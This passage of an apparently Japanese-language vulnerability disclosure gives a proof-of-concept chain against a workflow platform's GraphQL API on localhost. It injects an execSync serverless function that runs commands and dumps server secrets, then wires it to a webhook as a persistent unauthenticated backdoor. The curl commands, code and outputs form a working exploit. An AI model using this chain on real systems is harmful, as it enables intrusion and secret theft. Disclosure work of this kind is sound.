&lt;h3 id="ステップ1:サーバーレス関数を作成する(認証済み)"&gt;ステップ1：サーバーレス関数を作成する（認証済み）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;http://localhost:3000/graphql&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data-binary&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{&lt;/span&gt;
&lt;span class="s1"&gt;    "query": "mutation CreateFn($input: CreateServerlessFunctionInput!) {&lt;/span&gt;
&lt;span class="s1"&gt;      createOneServerlessFunction(input: $input) { id name }&lt;/span&gt;
&lt;span class="s1"&gt;    }",&lt;/span&gt;
&lt;span class="s1"&gt;    "variables": { "input": { "name": "pwn-rce" } }&lt;/span&gt;
&lt;span class="s1"&gt;  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"createOneServerlessFunction"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"679110bc-1536-4349-82c7-2a5706cc6a49"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pwn-rce"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ステップ2:悪意のあるコードを注入する(認証済み)"&gt;ステップ2：悪意のあるコードを注入する（認証済み）&lt;/h3&gt;
&lt;p&gt;注入されるコードは&lt;code&gt;child_process.execSync&lt;/code&gt;をインポートし、サーバーの環境全体をダンプします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;execSync&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'child_process'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;any&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;object&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;??&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'id &amp;amp;&amp;amp; hostname'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;execSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nx"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;http://localhost:3000/graphql&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data-binary&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{&lt;/span&gt;
&lt;span class="s1"&gt;    "query": "mutation UpdateFn($input: UpdateServerlessFunctionInput!) {&lt;/span&gt;
&lt;span class="s1"&gt;      updateOneServerlessFunction(input: $input) { id name }&lt;/span&gt;
&lt;span class="s1"&gt;    }",&lt;/span&gt;
&lt;span class="s1"&gt;    "variables": {&lt;/span&gt;
&lt;span class="s1"&gt;      "input": {&lt;/span&gt;
&lt;span class="s1"&gt;        "id": "679110bc-1536-4349-82c7-2a5706cc6a49",&lt;/span&gt;
&lt;span class="s1"&gt;        "update": {&lt;/span&gt;
&lt;span class="s1"&gt;          "name": "pwn-rce",&lt;/span&gt;
&lt;span class="s1"&gt;          "code": {&lt;/span&gt;
&lt;span class="s1"&gt;            "src/index.ts": "import { execSync } from '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'child_process'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;';\nexport const main = async (params: any): Promise&amp;lt;object&amp;gt; =&amp;gt; {\n  const cmd = params?.command ?? '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'id &amp;amp;&amp;amp; hostname'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;';\n  const out = execSync(String(cmd)).toString();\n  const env = JSON.stringify(process.env);\n  return { out, env };\n};"&lt;/span&gt;
&lt;span class="s1"&gt;          }&lt;/span&gt;
&lt;span class="s1"&gt;        }&lt;/span&gt;
&lt;span class="s1"&gt;      }&lt;/span&gt;
&lt;span class="s1"&gt;    }&lt;/span&gt;
&lt;span class="s1"&gt;  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"updateOneServerlessFunction"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"679110bc-1536-4349-82c7-2a5706cc6a49"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pwn-rce"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;検証なし。ASTチェックなし。ブロックされるインポートなし。コードはそのまま受理され、保存されます。&lt;/p&gt;
&lt;h3 id="ステップ3:実行 &amp;mdash; 認証済みrceを確認"&gt;ステップ3：実行 &amp;mdash; 認証済みRCEを確認&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;http://localhost:3000/graphql&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data-binary&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{&lt;/span&gt;
&lt;span class="s1"&gt;    "query": "mutation ExecFn($input: ExecuteServerlessFunctionInput!) {&lt;/span&gt;
&lt;span class="s1"&gt;      executeOneServerlessFunction(input: $input) { data logs status error }&lt;/span&gt;
&lt;span class="s1"&gt;    }",&lt;/span&gt;
&lt;span class="s1"&gt;    "variables": {&lt;/span&gt;
&lt;span class="s1"&gt;      "input": {&lt;/span&gt;
&lt;span class="s1"&gt;        "id": "679110bc-1536-4349-82c7-2a5706cc6a49",&lt;/span&gt;
&lt;span class="s1"&gt;        "payload": { "command": "id &amp;amp;&amp;amp; hostname &amp;amp;&amp;amp; cat /etc/passwd | head -5" },&lt;/span&gt;
&lt;span class="s1"&gt;        "version": "draft"&lt;/span&gt;
&lt;span class="s1"&gt;      }&lt;/span&gt;
&lt;span class="s1"&gt;    }&lt;/span&gt;
&lt;span class="s1"&gt;  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;レスポンス &amp;mdash; &lt;code&gt;data.out&lt;/code&gt;（OSコマンドの出力）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;レスポンス &amp;mdash; &lt;code&gt;data.env&lt;/code&gt;（すべてのサーバーシークレットが窃取される）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"APP_SECRET"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"replace_me_with_a_random_string"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"PG_DATABASE_URL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"postgres://postgres:postgres@localhost:5432/default"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"REDIS_URL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"redis://localhost:6379"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;認証済みRCEを確認&lt;/strong&gt; &amp;mdash; 完全なコマンド実行と、サーバー環境全体の窃取。WORKFLOWS権限（全メンバーにデフォルト付与）を持つ任意のワークスペースメンバーが、これを実行できます。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="ステップ4〜6:恒久的な未認証バックドアを設置する"&gt;ステップ4〜6：恒久的な未認証バックドアを設置する&lt;/h3&gt;
&lt;p&gt;認証済みアクセスを使って、攻撃者は悪意のあるサーバーレス関数に結び付けたWebhook起動のワークフローを作成します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ4 &amp;mdash; ワークフローを作成し、WEBHOOKトリガーを設定する：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Create workflow&lt;/span&gt;
curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;http://localhost:3000/graphql&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data-binary&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"query": "mutation { createWorkflow(data: { name: \"pwn-webhook\" }) { id name } }"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"createWorkflow"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"52ecef24-026d-48b0-a64b-8276570e25dd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"pwn-webhook"&lt;/span&gt;&lt;span class="p"&gt;}}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;ステップ5 &amp;mdash; 悪意のある関数を指すCODEステップを追加し、トリガーに結線し、関数を公開する：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Publish serverless function&lt;/span&gt;
curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;http://localhost:3000/graphql&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data-binary&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"query": "mutation { publishServerlessFunction(input: { id: \"679110bc-1536-4349-82c7-2a5706cc6a49\" }) { id publishedVersions } }"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"publishServerlessFunction"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"679110bc-1536-4349-82c7-2a5706cc6a49"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"publishedVersions"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;]}}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ワークフローのバージョンは、WEBHOOKトリガータイプ、悪意のある関数を参照するCODEステップ、そしてトリガー &amp;rarr; ステップを結線するエッジで構成されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ステップ6 &amp;mdash; ワークフローを有効化する：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;http://localhost:3000/graphql&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--data-binary&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"query": "mutation { activateWorkflowVersion(workflowVersionId: \"b4c8976f-dcb8-47ab-af50-2d20414577e6\") }"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nt"&gt;"activateWorkflowVersion"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ステップ7:未認証rce &amp;mdash; 認証情報は一切不要"&gt;ステップ7：未認証RCE &amp;mdash; 認証情報は一切不要&lt;/h3&gt;
&lt;p&gt;バックドアはこれで恒久的に有効になりました。インターネット上の任意のHTTPクライアントが、それを起動できます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# NO Authorization header &amp;mdash; completely unauthenticated&lt;/span&gt;
curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:3000/webhooks/workflows/2782b9df-4dd8-4deb-9f81-e60020b6d78f/52ecef24-026d-48b0-a64b-8276570e25dd"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"command": "id &amp;amp;&amp;amp; whoami &amp;amp;&amp;amp; cat /etc/passwd | head -5"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;即時レスポンス（認証チェックなし）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"workflowName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pwn-webhook"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"workflowRunId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ccdfb94d-1566-44f2-a5ce-ab0222fffab3"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;ワークフロー実行の結果（サーバーログ／データベースから）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;サーバーシークレット（同じ完全なダンプ &amp;mdash; すべて未認証リクエストを介して窃取）：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
